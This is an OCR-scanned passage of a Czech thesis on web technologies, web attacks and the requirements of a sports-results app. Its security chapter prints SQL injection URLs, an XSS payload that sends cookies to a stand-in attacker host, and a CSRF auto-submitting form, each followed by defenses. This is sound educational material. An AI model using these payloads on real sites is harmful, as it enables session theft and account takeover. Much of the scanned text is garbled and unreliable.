border: 1px solid #DSDSDS;
background-image: linear-gradient(#EEE, #DDD);
font: 788 13px/18px Helvetica, arial;
1
button--state-success {
color: #FFF;
background: #569E3D linear-gradient{#79D2858, #569E3D) repeat-x;
border-color: #34A993E;
1
.button--state-danger {
color: #908;

Obrazek 12 — Kaskadové styly [10]

Vysledek tlacitek je nasledovny:
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Normal button Danger button

Obrazek 13 — Vysledna tlacitka [10]
2.2.1 Historie kaskadovych styli

Vznik kaskadovych stylt se fadi k roku 1996, kde tyto styly méli reagovat na chao-
ticky vyvoj jazyku HTML. Jak jiz bylo zminéno, snahou bylo pfedevsim odd¢€leni informaci
o obsahu webové stranky od jejich pokynt, které reprezentovaly grafickou podobu.[9][11]

Historie stylti CSS se vztahuje predevsim k jejich podpote ¢i nepodpoie ve webovych
prohlizecich, protoze ta se oproti standardim méni pii vyvoji novych prohlize¢i. Jednotlivé

prohlizece totiZ styly interpretuji jinak, proto se mlZe stat neznalost néjakych vlastnosti

apod. [9][11]

Mezi prvni rozsiteny prohlize¢, ktery umoZioval podporu CSS byl Internet Explorer
s verzi 3 zroku 1996. Podporovani CSS stylii byla ale omezena pouze na barvu a pismo.
a Netscape Navigator. Zminéné prohlizece jiz podporovali celé CSS1 pocitaje pozicovani.
Poté se v nasledujicich verzich ¢tvrté fady podpora kaskaddovych stylit postupné doplio-

vala.[11]

I pies postupné dolad’ovéani nebyla podpora CSS stylti nijak svétoborna. To platilo
zejména u webového prohlizeCe Netscape, ktery se choval chaoticky a na fadu vlastnosti
nem¢l podporu. Tohle je jeden z diivodl pro¢ se kaskadové styly del§i dobu nedostavaly do
obliby §irsi vrstvy webovych vyvojait, jelikoZ se na toto stylovani nedalo spolehnout. Zadné
prohlizece verze 4 neumoziovaly specialni formatovani tzv. pseudoelementii (prvni pismena
a prvni fadky elementl — nejlépe odstavec), ackoliv to CSS1 natizuje. Pozdé&ji to uméla az

Mozilla a Internet Explorer 5.5.[11]

Druhou verzi kaskadovych stylli jsou CSS2. Tato verze vychazela z pfedchozi jed-
nickové verze. V této verzi se vyskytuje podpora pro Sablony styli specifické pro média.
Mezi tyto Sablony patii naptiklad tiskarna, zvukové zatizeni, pismo ke stazeni, umistovani
prvki ¢i tabulky. Samoziejmé byla rozsifena o dal$i fadu parametri. Druhé verzi chybéla
moznost pracovat s objekty jinymi nez obdélniky a nebyla zde mozZnost ptifadit vice obrazkt

na pozadi.[12]

Tteti verze také vychazi z pfedchozich verzi. Tato zatim nejnovéjsi verze se ma pojit

se standardem HTML 5. Kooperace téchto verzi ndm ma pfinést fadu zajimavych moznosti,
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jako je naptiklad animace jednotlivych elementii. Je zde umoznéno i stylovani pozadi blo-
kového elementu, mizeme tedy zakulacovat okraje nebo nastavit vrzeni stintl. Jednotlivé
CSS styly lze dynamicky meénit pomoci Javascriptu. Objevily se zde vlastnosti pro

drag‘n’drop a ostatnich uzitecnych funkci.[5]

2.3 Javascript

Jedna se programovaci jazyk, ktery je Casto oznacovan pod zkratkou JS. Tento jazyk
zacal jako mechanismus pfidani logiky a interaktivity do statického prohlize¢e Netscape.
Javascript se rozsifil hlavné diky tomu, Ze jazyk HTML neposkytuje zddnou moznost pro
implementaci logiky. Javascript obsahuje nékolik zajimavych funkci, proto je spolu s HTML
a CSS bran jako klicova technologie pro WWW — World Wide Web. Jazyk JavaScript po-
maha totiz vytvofit interaktivni webovou stranku. Ackoliv se vyskytuje v nazvu slovo

wJava“, tak s programovacim jazykem Java nema Zadnou spojitost.[13][14]

Zékladnimi funkcemi, které v dnesni dob& povazujeme za samoziejmost muze byt na-
piiklad ovéfeni vstupu, automaticka oprava, ukazatelé pribéhti nebo zména grafiky béhem
piejeti mysi. Tyto funkce by byly pro prohlize¢ nemozné bez zadného skriptovani. HTML
tak poskytuje specifickou znacku <script>, ¢imz umoziiuje developeriim vkladat Javascript

do urcenych znacek na webové strance.[13]

Jelikoz se jedna o ,,weakly typed®, tak se v tom jazyce nesetkdvame s datovymi typy.
Mizeme tedy uzivat pro deklarace jakykoliv ze tii typd, at’ uz pracujeme s Cislem, fetézcem
nebo poli. Typ var se uziva v ramci platnosti celé funkce. Let ma platnost v ramci bloku od
verze ES6. Tieti typ const, u kterého jakmile probéhne inicializace, tak zde neni mozné zmé-
nit hodnotu a je interpretovan ,,za béhu®. S touto problematikou je spojen s nedostatkem
Javascriptu, ktery je debugging. Chybné kody se projevuji aZ pii spuSténi programi piimo

v prohlizecich.[13][14]

Ku ptikladu v nasledujicim kodu je deklarace proménné s ndzvem pozdrav, kterd je
inicializovana do textového fetézce. Na dalsim tadku ale dochazi k ptifazeni celoCiselné
hodnoty 10. Nové vytvofend proménna s ndzvem produkt je pak inicializovand na hodnotu
samotné uvitaci proménné, kterou funkce vynéasobi. Tento ptiklad miZzeme vidét na nasle-

dujicim Obrazku ¢.14[14]
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var pozdrav = 'Aho] svete';
pozdrav = 10;
var produkt = pozdrav * pozdrav;

Obrazek 14 — Priklad Javascript kodu [14]

Mezi nejvétsi problémy Javascriptu patii podpora prohlizect. Dany kod je totiz in-
terpretovan pii béhu za pomoci enginu, ktery je umistény piimo prohlizeci klienta. Z toho
davodu jsou pak vyvojafi i klienti zavisli na enginu a jeho implementovani jednotlivé speci-
fikace jazyka. Javascript nabizi né€kolik verzi, do 2014 byla k dispozici jedna verze
Javascriptu s nazvem ESS5, jehoz specifikace jsou z drtivé vétSiny implementovany v kaz-

dém prohlizeci. [13]

Diilezita role v podani Javascriptu je ptistup do Document Object Modelu (DOM),
z néhoZ je mozné modifikovani a pfistupovani k obsahu dokumentu (HTML stranky). Jsou
zde totiz obséhlé veskeré HTML prvky a s nimi i jejich atributy. Lze k nim pfistupovat a

modifikovat je pomoci uziti DOM API. [13]

Diky asynchronnimu Javascriptu (AJAX) je moznost navazovani spojeni se sluzbami
tfeti strany a pouzivat tak jiz existujici sluzby misto vytvareni vlastni implementaci pozado-
vané sluzby. Komunikaci se vzdadlenymi sluzbami mtizeme za pomoci pozadavkd, které bu-
deme posilat na Application Programming Interface (API). API ndm definuji, jakymi zpt-
soby mizeme s urcitou sluzbou komunikovat. Nechybi zde definice ptistupového bodu, coz
byvaji typy dat, které sluzby ocekavaji pii zasilani pozadavki a poté typ dat pti odpovédi,
tedy v jaké formé sluzba odpovida. Pro komunikaci s externim serverem se v drtivé vétSing
ptipadl uziva Javascript Object Notation (JSON). Komunikovéni se sluzbami probiha asyn-
chronné, neni tak potieba blokovat procesor pro komunikaci s dotazovanym serverem.
Kdyby se jednalo o synchronni komunikaci, tak by byla potieba ¢ekat na odpovéd’ server
par vtefin a po celou dobu by dochdzelo k blokovani procesoru. Webova stranka by tak ne-

mohla reagovat na dalsi poZzadavky klienta, jako naptiklad kliknuti na tlacitko.[13]
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Obrazek 15 — Komunikace s externim serverem [15]
2.4 Bootstrap

Bootstrap je open-source CSS framework, ktery se predev§im zaméfuje na tvofeni re-
sponzivnich ,,mobile-first* webil. Tato knihovna obsahuje Sablony zaloZené na CSS a mutze
byt 1 na Javascriptu, které jsou vyuzitelné pro formulare, navigaci, tlacitka a dalsi kompo-
nenty rozhrani. Pro tuto knihovnu je vychozim cilem tvofit kompatibilni rozhrani webt pro

pienosnd zafizeni.[16]

Mezi nejvyznamnéjs$i komponenty knihovny Bootstrap jsou komponenty rozvrzeni, ty
totiz ovliviiuji celou webovou stranku. Nejzakladnéjsi komponenta rozvrZzeni nese nazev
,kontejner, protoze lze do n¢j umistit veskery dalsi prvek na strance. K tvoifeni responziv-
nich designli vyuziva Ctyfi zakladni pfedpony tiid, které tak dokdzou pokryt celd spektra
zatizeni, co se velikosti displeju tyCe. Existuje i tfida bez ptipony a ta slouzi pro zobrazovani
displejt se Sitkou mensi, nez 576 pixelt. Zakladni 4 pfedpony mizeme vidét v nasledujici

tabulce:[16][17]

Tabulka 1 — Rozméry piedpon tfid knihovny Bootstrap

Nazev predpony Rozmeér Sitky displejii v pixelech
Sm nad 576

Md nad 768

Lg nad 992

Xl nad 1200
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Ptedpony Ize kombinovat s velkou sadou tfid, ty pak méni styly pro pozadované
HTML elementy podle velikosti displeje. Pfi kombinaci tfid pro vytvareni layoutd, které
jsou nazyvany ,,Grid layout™ s pfedponami pro responzivitu, tak jde jednoduchym zptisobem
vytvoftit responzivni design, ktery se bude ptizptisobovat v§em velikostem displeji. Piiklad

takového layoutu systému muizeme vidét na nasledujicim obrazku.[16][17]

lis is @ single columnmn.

his is the first column This is the second column

Obrazek 16 — Grid systém knihovny Bootstrap [17]
Bootstrap zahrnuje velké mnoZstvi jiz pfedpfipravenych komponent, které 1ze upra-
vovat. Je tak moznost existujici knihovnu Bootstrap rozsifit o vlastni CSS tfidy a vytvofit
tak ,,vlastni* design tim, Ze stavajici styly piepiSeme nebo tyto kaskadové styly kompletné

nahradime.[16]

2.5 SQL

Structured Query Language je programovaci jazyk, ktery slouzi pro komunikovani s da-
tabazemi. Jedna se o standardni jazyk pro systémovou spravu relacnich databazi. Jednotlivé
piikazy SQL jsou uzivany k provedeni ukolt, jako mtze byt naptiklad aktualizace dat nebo
vypisovani dat z databaze. Pod databazi si mizeme piedstavit kontejner, ktery uchovava data

v uréitém formatu.[18][19]

Nejznaméjsi systémy, které pouzivaji jazyk SQL jsou naptiklad Oracle nebo Microsoft
SQL Server, které maji 1 dalsi rozsifeni. Nicmén¢ standardni piikazy jako je select, insert,

update Ci create lze provést bez omezeni a potieby dalSiho rozsiteni.[18][19]

Jazyk SQL je zaloZen na nékolika prvcich. Pro vyvojafe SQL jsou veSkeré potfebné
ptikazy v jednotlivych databazovych systémech provadény prostiednictvim rozhrani piika-
zového fadku. V databazovych systémech se jednotlivy SQL ptikaz uziva k odesilani dotazti
z programu klienta na server, kde je dana databaze uloZena. Server dotaz zpracuje, provede
SQL ptikaz a vrati odpovéd klientovi. Tato skute¢nost umozni uzivateli provedeni celé fady

rychlych manipulaci s daty od primitivnich dotazl az po slozitéjsi dotazy.[18][19]
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3 HROZBY UTOKU NA WEBOVOU STRANKU

Jelikoz jsou webové aplikace v porovnani s klientskymi aplikacemi daleko snadnéji
zneuzitelné, a to hlavné diky tomu ze jsou dostupné odkudkoliv. Potenciondlni uto¢nik ma
tak pristup k dané¢ webové aplikaci. Bezpe¢nost webovych aplikaci by méla byt na prvnim
misté, zejména kdyz tato aplikace uchovava citliva data o svych klientech ¢i zaméstnancich.

Unik téchto informaci by mohl zpasobit velké potize. [20][21]

Zabezpeceni webovych aplikaci je urcity proces ochrany webové stranky ¢i online
sluzby pted riiznou bezpecnostni hrozbou, tyto hrozby vyuzivaji zranitelnost webu v kddu

aplikace. Utocnici povazuji webové aplikace za jejich priority zejména kvili:
e Odmeény s vysokou hodnotou, coz zahrnuje 1 veskera odcizena data
e Snadnost provedeni diky automatizaci (desitky az tisice cilii najednou)

e Slozitost vlastniho kodu webové aplikace

Mrwe

peceni vstupti a vystupi. Ty jsou ¢asto uzivany k manipulaci se zdrojovymi kddy nebo k zis-
kavani neopravnénych piistupt. Tato skutecnost umoziuje pouzivani rtiznych utocnych me-

tod. Nejvyznamnéjsi metody utokli budou popsany v nasledujicich podkapitolach.[20][21]

3.1 SQL Injection

Jedna se o techniku utoku, pii kterém se vklada skodlivy piikaz SQL do vstupniho
pole. Injekce vyuziva bezpecnostni chyby v aplikaci, kde neni vstup uzivatele dostate¢né
oSetien a dochazi tak k provedeni vlozeného SQL ptikazu. Injekce SQL je piedev§im znama

jako vektor utoku na webovou stranku, tento typ utoku miize byt pouzit na jakékoliv data-

baze SQL.[21]

Takové utoky umoznuji atocnikovi manipulaci s veskerymi daty. Mize se tak dostat
vSem soukromym datlim, které¢ aplikace obsahuje. Nejen Ze data budou v nespravnych ru-

kach, ale mtize také dojit i k jejich zniceni, zméné ¢i Gplného odcizeni.[21]

3.1.1 Ukazka utoku

Jak jiZ bylo zminéno v této praci, uto¢nik vyuziva chybégjiciho oSeteni na vstupu na
formulatich &i adresach URL. Utoénik miize provést itok nékolika zptisoby, kdy se bude

snazit prerusit komunikaci mezi aplikaci a databazi. Utok miize vypadat n&jak takto:
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https://nezabezpecena-sit.cz/produkty?kategorie=Darky'--

Vysledkem dotazu SQL bude:

SELECT * FROM produkty WHERE kategorie = 'Darky'--' AND released = 1

Jako klicova véc se zde povazuje dvojitd pomlcka, ktera je v SQL indikatorem ko-
mentafe. Tudiz vSe ostatni za dvojitou pomlckou je interpretovano jako komentar, coz
efektivné odstrani vySe zminény dotaz. To znamen4, Ze jsou vypsany vSechny produkty i

vcetné téch nevydanych. [22]

Utoénik zajde i dale, kdy si mtize vypsat viechny produkty jednotlivych kategorii.
Tento utok mlze vypadat takto:

https://nezabezpecena-sit.cz/produkty?kategorie=‘Darky'+OR+1=1--

Vysledek dotazu SQL:

SELECT * FROM produkty WHERE kategorie = 'Darky' OR 1=1--" AND released =1

Tento upraveny dotaz tak vrati vSechny produkty, kde se vyskytuje kategorie Dary
nebo 1 se rovna 1. Jelikoz 1=1 je pravda vzdy, tak dotaz vypiSe vSechny polozky.[22]

3.1.2 Jak se branit proti tomuto titoku

Je dilezité prepokladat, Ze vSechny vstupni data obsahuji Skodlivé kody a je tak po-
tteba tuto skutecnost brat v potaz. Vyvojati tak mohou zabranit zranitelnosti tak, ze vyuziji
parametrizované dotazy s vazanymi, jiz zadanymi parametry a také diky uzivani parametric-
kych procedur v databazi. Je dale nezbytné validovat spravny typ vstupnich hodnot a v pfi-
pade fetézcii escapovat jednotlivé specialni znaky jazyka SQL, tento styl ochrany se nazyva
black list. V pfipadé jazyka SQL se jedna o apostrof, ktery slouzi k ukonCovani fetézci.
Opacny feSenim black listu je white list, kde jsou povoleny jen nezdvadné znaky a zadné

jiné nemuze Uto¢nik ¢i uzivatel pouzit. [23]
3.2 Cross-Site Scripting

Jedna se o dalsi injekéni utok. Cross-Site Scripting (XSS) je utok na strané klienta.
V tomto piipadé se uto¢nik snazi spustit Skodlivy skript ve webovém prohliZeci tim, Ze do
legitimni webové stranky ¢i aplikace zahrne sviij Skodlivy kod. K utoku tedy dochazi, kdyz
uZzivatel navstivi danou webovou stranku nebo aplikaci ve které je Skodlivy kod zabudovan.

Webova stranka ¢i aplikace se tak stdva prostfednikem pro dorucovani skodlivého skriptu
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do prohlizece uzivatele. Nejvice zranitelnymi weby pfti Gtocich pomoci skriptovani jsou nej-

Castéji fora, ale i webové stranky které umoznuji komentare.[24] [25]

Utoénici tak pfimo nenapadaji specifickou obét. Zneuzivaji predev§im zranitelnosti
konkrétnich webovych stranek ¢i aplikaci, které by uzivatel navstivil. Takové utoky jsou
mozné, pokud ma webova stranka ¢i aplikace neosetfené formulérové pole. Do takového
pole je pak mozné vlozit i JavaScript, ktery se ulozi do databdze a pokud se data z databaze
generuji jako vystup jednotlivé stranky pro dalsi uzivatele. Pak je tedy mozné, Ze script bude
mit moznost spusténi, a tudiz mize dojit k modifikovani struktury HTML elementi na

strance. [24][25]

Tento typ Gtoku je mozné provadét ve VBScript, Flash, ActiveX nebo také CSS. Nej-
vice je pouzivan jiz zminény JavaScript.[24]
3.2.1 Ukazka ttoku

Jestlize bude aplikace po vlozeni textu do pole vypisovat vysledky pro hledani do stranky,

tudiz se do stranky vlozi i Skodlivy script, ktery Gtocnik zada. [24]

<h3> Vysledek hledani: <%= Request.QueryString.Get("hledat")%></h3>

Utoénik tak do parametru ,,hledat* vklada kod a odkaz posle obéti jeho utoku. Pokud dojde
k otevieni odkazu na stran¢ uzivatele, tak utocnik ziskal uzivatelovi cookies (kde mohou byt

ulozeny informace o ptihlaseni). [24]

http://priklad.net/?search=<script>document.location="http://www.utok.net/record?co-

okies="+document.cookie;</script>

3.2.2 Jak se branit proti tomuto titoku

Je velmi dillezité validovat kazdy uzivatelsky vstup pro tvofeni obsahu, ktery se ma
stat jakoukoliv soucasti stranky. Samoziejmé se vzdy nemusi jednat o vstup, jez by byl pfimo
vypisovan. K validaci vstupli by mélo dochazet u veSkerych hodnot prvkl formulare, ¢i skry-

tych poli atd. [25]

Pokud je nezbytné, aby uZivatelé tvotili obsah pfimo na strance (ku ptikladu rtizna
fora), potom je dulezité nezapominat na filtraci znacek, které umoznuji spusténi kodu, coz

mohou byt znacky jako napftiklad <script>, <embded>, <iframe> atd. [24][25]
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Pro prevenci ochrany cookies, kde mohou byt ulozeny citlivé tidaje, je pak moznost
nastavit vlastnost HttpOnly. Timto krokem tak pfedejdeme odcizeni citlivych dat uloZzenych

v cookies, protoze dojde k nedostupnosti klientskym scriptim.[25]

3.3 Cross-Site Request Forgery

V ptipad¢ padélani zadosti napti¢ weby se jedné o chybu zabezpeceni webu, kde dojde

k umoznéni piimét uzivatele k provedeni akce, kterou nema uzivatel v timyslu. [26][27]

Tento typ Gtoku spociva v tom, Ze se Uto¢nik snazi dostat svou obét’ na jeho nakazenou
webovou stranku, kterd nevédome provadi specifickou akci. Miize se jednat o né¢jaky odkaz
¢i formulaf. Uspésny ttok typu Cross-Site Request Forgery (CSRF) Ize oznaéit tak, Ze Gto¢-
nik své obéti zméni emailovou adresu na Uctu, ¢i uskuteénéni transakce prostiedkti. Pokud
by akce byla vdznéjSiho charakteru, tak mtize dojit 1 k odcizeni uctu jeho obéti. Jestli tedy
jeho obét’ mé vyssi roli v rdmci aplikace, tak ato¢nik ziska naprostou kontrolu nad vSemi

daty a funkcemi v celé aplikaci. [26][27]

Utok miiZe byt proveden jen tehdy, pokud existuji v aplikaci akce, kterou utoénik bude
schopen vyvolat. Takova akce miize znamenat zménu opravnéni pro dalsi uzivatele v ramci
aplikace, ¢i zménu hesla. Takové relace mohou byt zpracovany na zdkladé cookies. Provést
takovou akci lze za pomoci vydéani jednoho nebo vice HTTP pozadavkl a dané aplikace je
zéavisla na soubory cookie relace, coz vede k identifikovani uzivatele, pod jehoz identitou
byly zadosti zadany. Jednotlivé pozadavky, které akci provadéji neobsahuji zadné parame-
try, které nelze urcit nebo uhodnout. Jestlize uzivatel provede zménu hesla, tak tato funkce

neni zranitelnd, jelikoZ Gto¢nik potiebuje znat uzivatelovo existujici heslo. [26][27]
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3.3.1 Ukazka utoku
Uvazujme, ze v ramci aplikace existuje funkce na zménu emailu. Pokud uzivatel tuto

zménu provede, tak se odesle nasledujici HTTP pozadavek:

POST /email/change HTTP/1.1

Host: zranitelna-sit.cz

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

Cookie: session=yvthwsztyeQkZPze(QSgHgTvlyxHfsAfE

emall=karelf@uzivatel.cz

Obrazek 17 — pozadavek HTTP na zménu emailu [26]

Tento pozadavek tak splituje vSechny poZzadované podminky pro Cross-Site Request
Forgery utok. Zména emailové adresy je pro utocnika zajimava z toho diivodu, ze bude scho-
pen resetovat uzivatelovo heslo a jednoduse tak prevzit kontrolu na uctem jeho obéti. Apli-
kace uZziva soubor cookie pro identifikaci relace, aby bylo ziejmé, ktery pozadavek uZivatel

vykonal. Sledovani relace uzivateli neni jinak mozné. [26][27]

Utoénik tak muize takika snadné ziskat hodnotu parametri uZivatelova pozadavku,
které jsou potieba k provedeni této akce. Diky témto podminkam, tak dochazi k vytvoreni

webové stranky utocnikem, ktera bude obsahovat nasledujici HTML:

<html>
<hody>
<form action="https://zranitelna.sit.cz/email/change” method="POST">
<input type="hidden" name="email" wvalus="emailfutocnik.net" />
</ form>
<script>
document.forms[0] .submit () ;
</script>
</body>
</html>

Obrazek 18 — Utoénikova stranka HTML [26]

Pokud tedy obét'(uzivatel) navstivi webovou stranku uto¢nika, tak se stane nasledujici:
o Utocnikova stranka vyvola HTTP pozadavek na zranitelnou webovou stranku

e Pokud je uZivatel pfihlaSen na zranitelny web, tak ze strany prohlizece dochazi k auto-

matickému zahrnuti souboru cookie relace
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e Zranitelnd webova stranka pozadavek uto¢nika zpracuje a dojde tak ke zméné emailové
adresy uzivatele. Pozadovana akce tak je provedena obvyklym zpisobem, jelikoz we-

bovy server si bude myslet, ze akci vyvolava prihlaseny uzivatel.[26][27]

3.3.2 Jak se branit tomuto utoku

Nejjednodussim zptisobem, jak se proti itokiim CSRF je neukladat ptihlasovaci udaje.
Déle znemoznéni jednoduché zmény tdajt, tedy vyzadovat opétovné zadani piihlasovacich
udaji k provedeni jakékoliv zmény v uctu uzivatele. Nasledné¢ je dilezité nevystavovat iden-
tifikator relace v URL. Pii1 kazdém piihlaSeni uzivatele generovat novy identifikéator. Ne-
zbytnou soucasti k predchazeni tohoto utoku lze povaZovat omezeni platnosti kazdé relace
(invalidovat relaci po urcitou dobu necinnosti ¢i odhlaSeni uzivatele). Jednotliva piihlaseni

uzivatelli pak zasilat ptes zaSifrovany kanal.[26][27]

3.4 Spatna konfigurace zabezpeteni

Jednotlivé chyby tykajici se zabezpefeni mohou vznikat na jakékoliv aplikacni
urovni, coz zahrnuje webové servery, aplikacni servery, databaze, pouzité frameworky nebo
vlastni kod aplikace. Problém piedstavuje neaktudlni verze softwaru, nezabezpecené pii-

stupy k souborovym systémiim, ¢i nemodifikované vychozi ucty.[28][29]

3.4.1 Ukazka tatoku

Takovym utok mize byt proveden pomoci piihlaSeni do vychoziho Gc¢ta systému,
jako je naptiklad tcet admin. Zde Gto¢nik uhodne nezménéné, ¢i primitivni heslo. Tento
pokus muze byt uspésny a dojde tak k ziskani pfistupu k serveru a veskerymi administrator-

skym datim a funkcim.[28][29]

Dalsim takovym tutokem muze byt neaktualni software na serveru, kde uto¢nik vyu-

zije slabiny starsi verze a ziskava tak piistup.[28][29]

Mezi dalsi chyby Spatné konfigurace zabezpeceni se tyka volného prochézeni obsahti
slozek. Utoénik ma tedy dostupné viechny obsahy slozek, tedy i kod aplikace. Kod aplikace
si tak mlize prostudovat a nalézt tak bezpecnostni nedostatek, diky kterému ziska ptistup do

aplikace.[28][29]
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3.4.2 Jak se predejit této zranitelnosti

vvvvvv

zbytné smazat, ¢i zabezpecit administratorské ucty. Omezit piistup k serverovym souborim
a vypnout veskerou nepotifebnou funkcionalitu. Nesmime zapomenout na kontrolu bezpec-

nostniho nastaveni pouzitych platforem ¢i frameworkt.[28][29]
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4 ANALYZA POZADAVKU

V této kapitole je definovana funkcionalita systému, tedy specifikovat pozadavky uzi-
vatell, co musi aplikace pro evidenci sportovnich vysledkti obsahovat a jaké funkce by ne-

mély v aplikaci chybét.

Tyto pozadavky jsou rozdéleny na funkéni a nefunkéni. Funkéni pozadavky popisuji,
co bude systém d¢lat. Nefunkéni pozadavky definuji, jak v systému budou zaimplemento-

vany funkéni pozadavky nebo jak mize byt systém ovlivnén z hlediska naroki rychlosti ¢i

kvality. [30]

4.1 Funk¢ni pozadavky

Funk¢ni pozadavky jsou rozdéleny do tii balicka — obecné funkéni pozadavky, sprava uctu

a sprava aplikace.

custom Funkéni poZadavky aplikace/

Funkéni poZadavky
aplikace

poiadavky

‘ Obecné funkéni

Systém musi umoinit
robrazeni detailu
konkrétniho zapasu

Systém musi umoinit
prohliieni detaill zapast
ze viech odehranych i
budoucich zapast

Systém musi umoinit
sledovani vybranych
zapastl

Systém musi umoinit
sledovani jednotlivych
tymi

zalohu viech dat
aplikace

‘ Systém musi umoinit

F

zobrazeni nabidky zépasi

Systém musi umoiZnit
podle pozadavki ufivatele

)

Systém musi umoZnit
vyhledavéni zapast

Systém musi umoinit
registrovani/piihlaseni
uiivatele

Systém musi umoinit
zobrazeni zdpasi
konkrétniho sportu

Systém musi umoiZnit
sledovani jednotliviych
hraci

Systém musi umoZnit
sledovani jednotliviych

Sprava GEtd

Sprava aplikace

Systém musi umoZnit
piidani/odebrani
oblibeného tymu

{
#

Systém musi umoinit
pridani/odebrani
oblibené ligy

Systém musi umoinit
pridani/odebrani
oblibeného hrace

Systém musi umeoinit
zménu adaji uZivatele

Systém musi umoinit
volbu zapomenutého
hesla

lig

0

Systém musi umoZnit
editaci zapash

Systém musi umoZnit
editaci hratd

Systém musi umoZnit
editaci tymd

Systém musi umoinit
pridani nového
sportu

Systém musi umoinit
editaci lig

kontrolovat prava

Systém musi ‘

administratord

Obrazek 19 — Funkéni pozadavky
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4.1.1 Obecné funkéni pozadavky

Tyto obecné funkéni pozadavky slouzi k popsani zdkladni funkcionality aplikace, tedy
funkce, které jsou nezbytné pro fungovani samotné aplikace, jako mize byt sledovani jed-
notlivych zapasi a podobné. [30]

vvvvvv

mnozstvim zéapasu, a tudiz je potfeba umoznit vyhleddvani. Systém dale musi umoznit zob-
razeni nabidky zdpash podle pozadavkl dan¢ho uZivatele. Pro snadné;si prohlizeni hranych
zapast zde nesmi chybét rozdé€leni sporti, takze uzivateli bude umoznéno zobrazit zapasy
z konkrétniho sportu. Aplikace dale bude spliovat sledovani jednotlivého zapasu, kde bu-
dou obsazeny detailni informace, toto se tyka jak odehraného zapasu, tak i1 hranych, ¢i bu-
doucich zapasi. Systém musi také splnit pozadavek na sledovani hract, tymi ¢i ligy. Dale
bude existovat pozadavek pro sledovani vybranych zapast, které si uzivatel aplikace ulozi

mezi oblibené.

Systém musi umoZnit zobrazeni detailit konkrétniho zdapasu

o Kazdy zapas bude obsahovat detailni informace o zapase, nesmi zde chybét nazvy
obou tym1, jejich kompletni soupisky, detailni statistiky z poslednich zépast, misto,

kde se zapas bude odehrévat, v kolik a kdy se dané utkéni odehraje/odehralo atd.

e Aktudlné hrany zépas bude obsahovat statistiky i aktualn¢ hranou minutu a udalosti
ze zapasu, jako je napiiklad vstifelena branka, stfidani, aktudlni tabulka nebo

misto(stadion), kde bude zobrazen i1 pocet divaki po ohlaSeni oficialni navstévnosti.
e U soupisek bude u kazdého hrace zobrazena narodnost, ktera budou reprezentovat
hracovu néarodni ptislusnost
Systém musi umoZnit vyhledavdni zapasii
e Pro snadnégjsi a efektivnéjsi uzivani aplikace uzivatelem bude k dispozici hledani z4-
past, hraci nebo lig.
Systém musi umoZznit prohlizeni detailit zapasi ze vSech odehranych i budoucich zdapasu

e V systému jiz budou evidovany zépasy s dostateCnym piedstihem a vSechny ode-
hrané zépasy budou obsahovat detailni informace o jiZ odehraném utkani. Kazdy

odehrany zapas tak bude dohledatelny i s detaily o zapase.
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Systém musi umoZnit registrovani/prihlaseni uZivatele
e Systém umozni vytvoreni nového uzivatelského uctu(registrace) v ptipade jiz vytvo-
feného uctu se uzivatel mize do svého uctu prihlasit.
e Pokud jiz uzivatel nékdy ptidal své oblibené tymy, hrace nebo ligy, tak automaticky

po prihlaseni budou k dispozici v nabidce uzivatele.

e Pii registraci zad4 uzivatel pfihlasovaci jméno, emailovou adresu a heslo — to bude

zadavat dvakrat po sob& pro ovéfeni spravnosti.

e Po uspésné registraci bude na zadanou emailovou adresu odeslan kod, ktery uzivatel

zada po prvnim piihlaseni a jiz bude jeho ucet aktivovan.

e Pocet ucti bude omezen na jediny pro jednu emailovou adresu.

Systém musi umoZnit sledovani vybranych zapasi
e NepiihlaSeny uZivatel bude mit moznost sledovat jednotlivé vybrané zapasy, které
bude mit uloZené v karté ,,Oblibené*.
Systém musi umoZnit zobrazeni zdapasit konkrétniho sportu
e NepftihlaSeny uzivatel si miize zobrazit zapasy k ur¢itému dni z konkrétniho sportu,
jako je napiiklad fotbal ¢i hokej, tyto sporty si ale nemuze ulozit do svého profilu.
Systém musi umoZnit sledovani jednotlivych tymii

e NepftihlaSeny uzivatel bude mit moznost sledovani konkrétniho tymu, miize si tak
vybrat jeho oblibené tymy v systému a snadnéji tak sledovat jejich vysledky, jeho

oblibené tymy ale nebudou systémem uloZeny, jelikoZ neni uzivatel ptihlaSen

e Kazdy uzivatel mize sledovat libovolny pocet tymu.

Systém musi umoZznit sledovani jednotlivych hraci

e V aplikace bude umoZnéno pro piihlasené/nepiihlasené uzivatele sledovani oblibe-
nych hrac¢t z kolektivnich sportl. UZivatel tak uvidi, za jaky tym jeho oblibeny hraé
hraje a jeho odehrané nebo aktualné hrané zapasy. Pro nepiihlaSené uZivatele, ale

budou v$echna nastaveni ztracena.

e Uzivatel mize sledovat libovolny pocet hract.
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e Kazdy hra¢ bude mit v aplikaci svoji kartu, kde se budou vyskytovat jeho osobni
informace, jako je napiiklad datum narozeni, narodnost, vék, vyska, vaha nebo po-

zice.

Systém musi umoznit zalohu vSech dat aplikace

e Vsechna data budou zalohovana na cloudovy server mimo lokaci aplikace, kde bu-
dou uchovavany pro vypadek celé aplikace, aby tak nedoslo ke ztraté dat celého sys-

tému.

Systém musi umoznit zobrazeni nabidky zdapasit podle poZadavkit uZivatele

e Uzivatel mé k dispozici zobrazeni nabidky podle jeho pozadavkli, mize si zobrazit

zapasy hrané na urcitém stadionu, v urcité zemi nebo podle trenéra tymu.

e Ke kazdému kritériu bude poskytnuty detailni informace. Porovnani vysledky tre-

nérd, historicka data ke stadioniim ¢i vSechny profesiondlni ligy z konkrétni zem¢.

Systém musi umoznit sledovani jednotlivych lig

e NepftihlaSeny uzivatel si mize zobrazit jeho oblibenou ligu, tato funkce uzivateli zob-

razi vSechny zapasy z vybrané soutéze.

e NepftihlaSeny uzivatel si nemtze jeho oblibenou ligu ulozit, jeho vybrané soutéze tak

nebudou systémem ulozeny.

4.1.2 Sprava uctu

Uzivatelsky ucet bude slouzit k tomu, aby si dany uzivatel ulozil své oblibené¢ muz-
stvo, ligu, hréce ¢i zapas. Pokud si tak jednou sviyj ucet uzivatel prednastavi, jiz se mu budou

zobrazovat zapasy podle jeho vybéru.

Mezi dalsi pozadavky bude pattit volba zapomenutého hesla, kde si uzivatel mize
ziidit resetovani hesla jeho uc¢tu pomoci emailové adresy. Déle nesmi chybét pozadavek na
zménu Udaji, jako muze byt prezdivka nebo doplnéni dalSich osobnich udajii do uzivatelova
profilu. ProtoZze mize systém ukladat i1 jednotlivé citlivé tidaje — jméno, piijmeni, datum
narozeni nebo misto narozeni, tak je potieba aby aplikace spliiovala i riizna legislativni na-

